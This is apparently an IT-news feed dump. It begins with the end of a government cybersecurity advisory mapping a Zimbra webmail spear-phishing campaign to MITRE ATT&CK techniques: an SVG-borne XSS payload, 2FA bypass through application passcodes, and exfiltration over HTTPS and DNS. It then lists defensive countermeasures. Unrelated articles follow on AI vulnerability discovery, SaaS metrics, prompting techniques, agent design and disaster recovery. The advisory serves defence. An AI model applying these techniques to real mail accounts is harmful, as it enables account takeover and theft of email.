    Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
    Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
  • Department of Defense Cyber Crime Center  
    Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
    Media Inquiries / Press Desk: DC3.Information@us.af.mil 
  • Naval Criminal Investigative Service 
    To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Australian organizations 

  • Australian Signals Directorate 
    Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
    Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

United Kingdom organizations 

Estonia organizations 

Finnish organizations 

French organizations 

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Moldovan organizations 

  • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 
Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 
  • Organizations should immediately prioritize patching CVE-2025-66376.  
  • Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 
  • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
  • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 
  • Organizations should search ZCS log files for specific commands used by the malicious script. 
  • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
]]> <![CDATA[New Kimi K3 AI Agent Uncovers Redis Remote Code Execution Flaws in Just 27 Minutes]]> https://tsecurity.de/de/3689292/it-security-nachrichten/new-kimi-k3-ai-agent-uncovers-redis-remote-code-execution-flaws-in-just-27-minutes/ https://tsecurity.de/de/3689292/it-security-nachrichten/new-kimi-k3-ai-agent-uncovers-redis-remote-code-execution-flaws-in-just-27-minutes/ Thu, 23 Jul 2026 16:10:23 +0200 📰 IT Security Nachrichten tsecurity.de Moonshot AI’s newly unveiled Kimi K3 model is attracting considerable attention in the cybersecurity community after successfully demonstrating its ability to autonomously identify critical vulnerabilities in Redis within minutes. This 2.8-trillion-parameter AI agent reportedly discovered multiple remote code execution (RCE)


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]]> <![CDATA[The new value architecture of the AI-native SaaS era]]> https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ Thu, 23 Jul 2026 14:05:04 +0200 📰 IT Nachrichten tsecurity.de

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  • Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
  • These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

  1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
  2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
  3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
  4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
  5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

  • Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
  • Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
  • Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
  • Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

  • Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
  • Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
  • Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
  • AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

  • Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
  • Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
  • Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

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]]> <![CDATA[New Kimi K3 AI Agent Uncovers 0-Day Exploits in Redis Server]]> https://tsecurity.de/de/3688821/it-security-nachrichten/new-kimi-k3-ai-agent-uncovers-0-day-exploits-in-redis-server/ https://tsecurity.de/de/3688821/it-security-nachrichten/new-kimi-k3-ai-agent-uncovers-0-day-exploits-in-redis-server/ Thu, 23 Jul 2026 13:14:55 +0200 📰 IT Security Nachrichten tsecurity.de A newly reported research effort tied to the Kimi K3 AI agent has surfaced multiple authenticated remote code execution (RCE) paths in Redis, one of the world’s most widely deployed in-memory data stores. The findings shared by researcher alias Bera Buddies cover the stock builds of Redis 6.2.22, 7.4.9, 8.6.4, and 8.8.0, combining a stream [
]

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]]> <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Thu, 23 Jul 2026 13:07:21 +0200 📰 IT Nachrichten tsecurity.de

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

  • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
  • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
  • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
  • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
  • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

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]]> <![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]> https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ Thu, 23 Jul 2026 12:04:43 +0200 📰 IT Nachrichten tsecurity.de

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

  • Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
  • Smarter: The system around the model decides more than the model does.
  • Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

]]> <![CDATA[Principles every enterprise must test before the attack arrives]]> https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ Thu, 23 Jul 2026 12:04:32 +0200 📰 IT Nachrichten tsecurity.de

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

